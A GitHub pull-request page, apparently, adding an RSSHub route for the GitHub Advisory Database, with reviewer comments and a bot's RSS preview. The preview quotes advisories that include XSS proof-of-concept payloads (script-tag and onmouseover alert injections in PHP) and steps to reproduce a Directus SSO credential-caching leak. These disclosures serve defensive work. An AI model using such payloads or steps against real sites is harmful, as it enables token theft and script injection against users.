        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8

...

@sd0ric4
Copy link
Contributor Author

sd0ric4 commented Sep 13, 2024

image

@sd0ric4
Copy link
Contributor Author

sd0ric4 commented Sep 13, 2024

image

感觉不是我这边的问题吧，但是加了三个问号之后满足了null check过检查了

TonyRL
TonyRL reviewed Sep 14, 2024
View reviewed changes
lib/routes/github-advisor/namespace.ts Outdated
@@ -0,0 +1,72 @@
import type { Namespace } from '@/types';
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https://docs.rsshub.app/joinus/new-rss/start-code#creating-namespace

Do not create variations for the same namespace. Please use github instead.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you for the feedback! I've consolidated the namespace under github as suggested and removed the variations. Please review the updated implementation and let me know if further adjustments are needed.

@sd0ric4

This comment was marked as duplicate.

Sign in to view
@sd0ric4 sd0ric4 changed the title feat(github-advisor): 添加 GitHub Advisory Database RSS 路由和命名空间 feat(github): 添加 GitHub Advisory Database RSS 路由 Sep 14, 2024
TonyRL
TonyRL reviewed Sep 14, 2024
View reviewed changes
Copy link
Collaborator

@TonyRL TonyRL left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please resolve merge conflicts

lib/routes/github/advisor.ts Outdated
import { parseDate } from '@/utils/parse-date';
export const route: Route = {
path: '/advisor/data/:category?',
categories: ['game'],
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This does not belong to game at all.

lib/routes/github/advisor.ts Outdated
Comment on lines 43 to 58
const apiRootUrl = 'https://azu.github.io/github-advisory-database-rss';
const apiUrl = `${apiRootUrl}/${category}.json`;
const currentUrl = `https://github.com/advisories`;

const response = await got({
method: 'get',
url: apiUrl,
});

const items = response.data.items.map((item) => ({
author: item.author.name,
title: item.title,
link: item.url,
description: item.content_html,
pubDate: parseDate(item.date_publishede),
}));
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use first party data at https://github.com/advisories when it's available instead of relying on third parties'.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have updated the code to use first-party data from https://github.com/advisories when available, instead of relying on third parties.

@github-actions GitHub Actions

This comment was marked as outdated.

Sign in to view
@sd0ric4

This comment was marked as duplicate.

Sign in to view
@github-actions GitHub Actions
Copy link
Contributor

github-actions bot commented Oct 5, 2024

Successfully generated as following:

http://localhost:1200/github/advisor/data/reviewed/composer - Success ✔️ 
<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
  <channel>
    <title>GitHub Advisory Database RSS - composer - reviewed</title>
    <link>https://github.com/advisories</link>
    <atom:link href="http://localhost:1200/github/advisor/data/reviewed/composer" rel="self" type="application/rss+xml"></atom:link>
    <description>GitHub Advisory Database RSS - composer - reviewed - Powered by RSSHub</description>
    <generator>RSSHub</generator>
    <webMaster>contact@rsshub.app (RSSHub)</webMaster>
    <language>en</language>
    <lastBuildDate>Sat, 05 Oct 2024 18:30:58 GMT</lastBuildDate>
    <ttl>5</ttl>
    <item>
      <title>Minecraft MOTD Parser&#39;s HtmlGenerator vulnerable to XSS</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; class is subject to potential cross-site scripting (XSS) attack through a parsed malformed Minecraft server MOTD.&lt;/p&gt;
        &lt;h3&gt;Context&lt;/h3&gt;
        &lt;p&gt;Minecraft server owners can set a so-called MOTD (Message of the Day) for their server that appears next to the server icon and below the server name on the multiplayer server list of a player&#39;s Minecraft client. The Minecraft server sends the MOTD in the &lt;code class=&quot;notranslate&quot;&gt;description&lt;/code&gt; property of the &lt;a href=&quot;https://wiki.vg/Server_List_Ping#Status_Response&quot; rel=&quot;nofollow&quot;&gt;Status Response&lt;/a&gt; packet. The &lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser&quot;&gt;jgniecki/MinecraftMotdParser&lt;/a&gt; PHP library is able to parse the value of the &lt;code class=&quot;notranslate&quot;&gt;description&lt;/code&gt; property, which can be either a string or an array of text components. By utilizing the aforementioned &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; class, it is also able to transform the value into an HTML string that can be used to visualize the MOTD on a web page.&lt;/p&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; iterates through objects of &lt;code class=&quot;notranslate&quot;&gt;MotdItem&lt;/code&gt; that are contained in an object of &lt;code class=&quot;notranslate&quot;&gt;MotdItemCollection&lt;/code&gt; to generate a HTML string. An attacker can make malicious inputs to the &lt;code class=&quot;notranslate&quot;&gt;color&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;text&lt;/code&gt; properties of &lt;code class=&quot;notranslate&quot;&gt;MotdItem&lt;/code&gt; to inject own HTML into a web page during web page generation. For example by sending a malicious MOTD from a Minecraft server under their control that was queried and passed to the &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;This XSS vulnerability exists because the values of these properties are neither filtered nor escaped, as can be seen here:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Proof of Concept&lt;/h3&gt;
        &lt;p&gt;JavaScript code can be injected into the &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; by parsing either a string via &lt;code class=&quot;notranslate&quot;&gt;TextParser&lt;/code&gt; or an array via &lt;code class=&quot;notranslate&quot;&gt;ArrayParser&lt;/code&gt;. The following code examples demonstrate the vulnerability by triggering the alert dialog of the browser.&lt;/p&gt;
        &lt;h4&gt;XSS via &lt;code class=&quot;notranslate&quot;&gt;TextParser&lt;/code&gt;&lt;/h4&gt;
        &lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Collection&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MotdItemCollection&lt;/span&gt;;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Generator&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;HtmlGenerator&lt;/span&gt;;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Parser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;TextParser&lt;/span&gt;;
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;motdCollection&lt;/span&gt; = (&lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;TextParser&lt;/span&gt;())-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;parse&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;XSS on page load&quot;)&amp;lt;/script&amp;gt;&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;MotdItemCollection&lt;/span&gt;());
        &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; (&lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;HtmlGenerator&lt;/span&gt;())-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;generate&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;motdCollection&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
        &lt;h4&gt;XSS via &lt;code class=&quot;notranslate&quot;&gt;ArrayParser&lt;/code&gt;&lt;/h4&gt;
        &lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Collection&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MotdItemCollection&lt;/span&gt;;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Generator&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;HtmlGenerator&lt;/span&gt;;
        &lt;span class=&quot;pl-k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;DevLancer&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;MinecraftMotdParser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Parser&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;ArrayParser&lt;/span&gt;;
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;motdCollection&lt;/span&gt; = (&lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;ArrayParser&lt;/span&gt;())-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;parse&lt;/span&gt;([
        [
        &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;color&lt;/span&gt;&#39;&lt;/span&gt; =&amp;gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-c&quot;&gt;#&quot; onmouseover=&quot;javascript:alert(\&#39;XSS when mouse pointer enters the span element\&#39;)&quot;&#39;,&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-s&quot;&gt; &lt;/span&gt;&#39;text&#39; =&amp;gt;&lt;span class=&quot;pl-s&quot;&gt; &lt;/span&gt;&#39;&lt;/span&gt;&lt;span class=&quot;pl-v&quot;&gt;Hover&lt;/span&gt; me&#39;,
        ],
        [
        &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;color&lt;/span&gt;&#39;&lt;/span&gt; =&amp;gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;#000000&lt;/span&gt;&#39;&lt;/span&gt;,
        &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;text&lt;/span&gt;&#39;&lt;/span&gt; =&amp;gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;&amp;lt;script&amp;gt;alert(&quot;XSS on page load&quot;)&amp;lt;/script&amp;gt;&lt;/span&gt;&#39;&lt;/span&gt;,
        ]
        ], &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;MotdItemCollection&lt;/span&gt;());
        &lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; (&lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;HtmlGenerator&lt;/span&gt;())-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;generate&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;motdCollection&lt;/span&gt;);&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;If the &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; class of this library is used, this XSS vulnerability can potentially affect:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Players visiting Minecraft server list websites (of which there are several dozen online, written in PHP) that display the MOTD.&lt;/li&gt;
        &lt;li&gt;Users visiting Minecraft server status websites to query information about a Minecraft server.&lt;/li&gt;
        &lt;li&gt;Server owners managing their Minecraft server via a web interface that displays the MOTD, where the attack could be carried out by a malicious Minecraft server plugin that modifies the MOTD without the server owner&#39;s consent.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;It is not clear if and which platforms depend on this library.&lt;/p&gt;
        &lt;h3&gt;Remediation&lt;/h3&gt;
        &lt;p&gt;I suggest converting all HTML special characters in the values of the &lt;code class=&quot;notranslate&quot;&gt;color&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;text&lt;/code&gt; properties to HTML entities. The display of the HTML entities will still be correct in the browser, but the XSS vulnerability will be eliminated as the values will no longer be interpreted as HTML by the browser.&lt;/p&gt;
        &lt;p&gt;This could be achieved by introducing a new private &lt;code class=&quot;notranslate&quot;&gt;escape&lt;/code&gt; function in the &lt;code class=&quot;notranslate&quot;&gt;HtmlGenerator&lt;/code&gt; class:&lt;/p&gt;
        &lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;escape&lt;/span&gt;(&lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;text&lt;/span&gt;): &lt;span class=&quot;pl-smi&quot;&gt;string&lt;/span&gt;
        {
        &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;htmlentities&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;text&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;ENT_QUOTES&lt;/span&gt; | &lt;span class=&quot;pl-c1&quot;&gt;ENT_HTML5&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;UTF-8&lt;/span&gt;&#39;&lt;/span&gt;);
        }&lt;/pre&gt;&lt;/div&gt;
        &lt;p&gt;This function should be called in the following two lines:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&lt;/a&gt;&lt;br&gt;
        Change to: &lt;code class=&quot;notranslate&quot;&gt;$tags[&#39;span&#39;][] = sprintf(&#39;color: %s;&#39;, $this-&amp;gt;escape($motdItem-&amp;gt;getColor()));&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&lt;/a&gt;&lt;br&gt;
        Change to: &lt;code class=&quot;notranslate&quot;&gt;$value = sprintf($value, $this-&amp;gt;escape($motdItem-&amp;gt;getText()));&lt;/code&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-q898-frwq-f3qp&quot; href=&quot;https://github.com/jgniecki/MinecraftMotdParser/security/advisories/GHSA-q898-frwq-f3qp&quot;&gt;GHSA-q898-frwq-f3qp&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47765&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47765&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/jgniecki/MinecraftMotdParser/commit/b0ab9d68a964cd3d74977f39a9e7af0a94509f7c/hovercard&quot; href=&quot;https://github.com/jgniecki/MinecraftMotdParser/commit/b0ab9d68a964cd3d74977f39a9e7af0a94509f7c&quot;&gt;jgniecki/MinecraftMotdParser@&lt;tt&gt;b0ab9d6&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L49&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&quot;&gt;https://github.com/jgniecki/MinecraftMotdParser/blob/0412f68eeb91729a00444a8d6c00c45623884aa5/src/Generator/HtmlGenerator.php#L80&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-q898-frwq-f3qp</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-q898-frwq-f3qp</guid>
      <pubDate>Fri, 04 Oct 2024 18:51:35 GMT</pubDate>
    </item>
    <item>
      <title>Injection of arbitrary HTML/JavaScript code through the media download URL</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;This vulnerability allows an attacker to inject arbitrary HTML/JavaScript code through the media download URL in Sulu CMS. It affects the SuluMediaBundle component. The vulnerability is a Reflected Cross-Site Scripting (XSS) issue, which could potentially allow attackers to steal sensitive information, manipulate the website&#39;s content, or perform actions on behalf of the victim.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;The problem has not been patched yet. Users should upgrade to patched versions once they become available. Currently affected versions are:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;2.6.4&lt;/li&gt;
        &lt;li&gt;2.5.20&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Until an official patch is released, users can implement additional input validation and output encoding for the &#39;slug&#39; parameter in the MediaStreamController&#39;s downloadAction method. Alternatively, configuring a Web Application Firewall (WAF) to filter potentially malicious input could serve as a temporary mitigation.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;GitHub repository: &lt;a href=&quot;https://github.com/sulu/sulu&quot;&gt;https://github.com/sulu/sulu&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;Vulnerable code: &lt;a href=&quot;https://github.com/sulu/sulu/blob/2.6/src/Sulu/Bundle/MediaBundle/Controller/MediaStreamController.php#L106&quot;&gt;https://github.com/sulu/sulu/blob/2.6/src/Sulu/Bundle/MediaBundle/Controller/MediaStreamController.php#L106&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-6784-9c82-vr85&quot; href=&quot;https://github.com/sulu/sulu/security/advisories/GHSA-6784-9c82-vr85&quot;&gt;GHSA-6784-9c82-vr85&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47617&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47617&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/sulu/sulu/commit/a5a5ae555d282e88ff8559d38cfb46dea7939bda/hovercard&quot; href=&quot;https://github.com/sulu/sulu/commit/a5a5ae555d282e88ff8559d38cfb46dea7939bda&quot;&gt;sulu/sulu@&lt;tt&gt;a5a5ae5&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/sulu/sulu/commit/eeacd14b6cf55f710084788140d40ebb00314b29/hovercard&quot; href=&quot;https://github.com/sulu/sulu/commit/eeacd14b6cf55f710084788140d40ebb00314b29&quot;&gt;sulu/sulu@&lt;tt&gt;eeacd14&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/sulu/sulu/blob/2.6/src/Sulu/Bundle/MediaBundle/Controller/MediaStreamController.php#L106&quot;&gt;https://github.com/sulu/sulu/blob/2.6/src/Sulu/Bundle/MediaBundle/Controller/MediaStreamController.php#L106&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6784-9c82-vr85</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6784-9c82-vr85</guid>
      <pubDate>Thu, 03 Oct 2024 18:26:26 GMT</pubDate>
    </item>
    <item>
      <title>Cross-site Scripting via uploaded SVG</title>
      <description>&lt;p&gt;In Sulu v2.0.0 through v2.6.4 are vulnerable against XSS whereas a low privileged user with an access to the “Media” section can upload an SVG file with a malicious payload. Once uploaded and accessed, the malicious javascript will be executed on the victims’ (other users including admins) browsers.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-255w-87rh-rg44&quot; href=&quot;https://github.com/sulu/sulu/security/advisories/GHSA-255w-87rh-rg44&quot;&gt;GHSA-255w-87rh-rg44&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47618&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47618&lt;/a&gt;&lt;/li&gt;
